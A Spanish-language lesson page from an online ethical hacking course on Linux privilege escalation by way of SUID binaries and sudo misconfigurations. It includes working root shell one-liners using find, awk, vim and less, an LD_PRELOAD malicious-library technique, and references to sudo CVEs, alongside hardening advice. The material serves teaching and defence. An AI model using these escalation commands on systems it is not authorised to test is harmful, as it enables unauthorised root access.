Abuso de SUID y Sudo
Configuraciones incorrectas
Abuso de SUID y Sudo es una lección gratuita de Ethical Hacking Academy en CoddyKit. Esta es la lección 2 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Ethical Hacking Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Ethical Hacking Academy incluye 4 lecciones en total.
El bit SUID
El bit de permisos SUID hace que un archivo se ejecute con los privilegios de su propietario en lugar de los del usuario que lo inició. Cuando el propietario es root, un binario SUID se ejecuta como root; esto resulta útil para herramientas como passwd, pero es peligroso si se abusa de ello.
-rwsr-xr-x 1 root root /usr/bin/passwd
# the s in rws = SUID bitEncontrar binarios SUID
Enumere todos los archivos SUID y compárelos con una referencia conocida como segura. Cualquier elemento inusual —un editor de texto, un intérprete o un binario personalizado— es un candidato.
find / -perm -4000 -type f 2>/dev/nullGTFOBins
GTFOBins es un catálogo seleccionado que explica cómo se puede abusar de binarios Unix estándar para escapar de restricciones, escalar privilegios o leer y escribir archivos cuando se les conceden permisos SUID o sudo. Compruebe siempre un binario descubierto en GTFOBins.
# gtfobins.github.io -> search the binary nameAbusar de SUID con find
Si find tiene el bit SUID, su opción -exec ejecuta comandos como root, lo que concede al instante una shell root.
find . -exec /bin/sh -p \; -quit
# -p preserves the elevated privilegesEscapes a shell mediante SUID
Muchos intérpretes y paginadores generan shells. Un vim, less, awk o python con SUID puede proporcionarle una shell root.
awk "BEGIN {system(\"/bin/sh -p\")}"
# or in less: !/bin/shConfiguraciones incorrectas de Sudo
Ejecute sudo -l para enumerar los comandos permitidos. Las entradas que permiten ejecutar como root un binario explotable, o utilizar NOPASSWD, ofrecen oportunidades inmediatas. El comando no tiene que ser una shell: GTFOBins muestra escapes para muchos comandos.
sudo -l
# (ALL) NOPASSWD: /usr/bin/vimSudo en un editor o paginador
Si puede ejecutar sudo vim (o variantes de less, more, man o nano), puede salir a una shell como root desde el propio programa.
sudo vim -c ":!/bin/sh"
# inside less: sudo less file -> !/bin/shLa técnica de LD_PRELOAD
Si sudo conserva LD_PRELOAD (mediante env_keep), puede cargar una biblioteca compartida maliciosa que se ejecute como root cuando se inicie el comando sudo.
sudo -l # look for env_keep+=LD_PRELOAD
sudo LD_PRELOAD=/tmp/evil.so programVulnerabilidades de versiones de Sudo
Versiones concretas de sudo presentan fallos; por ejemplo, el desbordamiento de heap de Baron Samedit (CVE-2021-3156) y la evasión -u#-1 (CVE-2019-14287). Compruebe sudo --version frente a las CVE conocidas.
sudo --version
# vulnerable < 1.9.5p2 -> Baron SameditBinarios SUID personalizados
A veces, los desarrolladores distribuyen helpers SUID personalizados que llaman a otros programas por nombre, sin una ruta absoluta. Si controla PATH, puede secuestrar esa llamada, conectando con las técnicas de abuso de PATH que se explican a continuación.
Refuerzo de seguridad y ética
Los defensores deben minimizar los binarios SUID, utilizar rutas absolutas, eliminar privilegios pronto y mantener sudo actualizado con reglas estrictas. Como tester, explote estos fallos únicamente dentro del alcance autorizado.
Comprobación rápida
Compruebe sus conocimientos sobre SUID y sudo.
Resumen
Ha aprendido sobre el abuso de SUID y sudo:
- SUID ejecuta un binario como su propietario (a menudo root)
- Compruebe los binarios descubiertos en GTFOBins
- Los escapes a shell mediante SUID/sudo incluyen
find,vim,awkyless - LD_PRELOAD y las CVE de sudo (Baron Samedit) también permiten escalar privilegios
A continuación: trabajos de cron y abuso de PATH.
Aprende Ethical Hacking Academy con un tutor de IA — gratis
Escribe y ejecuta código real en tu navegador, obtén ayuda instantánea de un tutor de IA disponible 24/7 y continúa donde lo dejaste en la web o en la aplicación.
- Cursos
- 31
- Lecciones
- 111
Preguntas frecuentes
¿La lección «Abuso de SUID y Sudo» es gratis?
Sí — el texto completo de «Abuso de SUID y Sudo» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Ethical Hacking Academy, actualiza a CoddyKit PRO. El curso de Ethical Hacking Academy incluye 4 lecciones en total.
¿Qué aprenderé en «Abuso de SUID y Sudo»?
Configuraciones incorrectas Practicas Ethical Hacking Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.
¿Necesito experiencia previa para empezar Ethical Hacking Academy?
No se requiere experiencia previa. Ethical Hacking Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 2 de 4.
¿Cuánto tiempo toma la lección «Abuso de SUID y Sudo»?
La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.
¿Puedo escribir y ejecutar código en esta lección de Ethical Hacking Academy?
Sí. Cada lección de Ethical Hacking Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.
Todas las lecciones de este curso
- Enumeración
- Abuso de SUID y Sudo
- Tareas Cron y PATH
- Exploits del kernel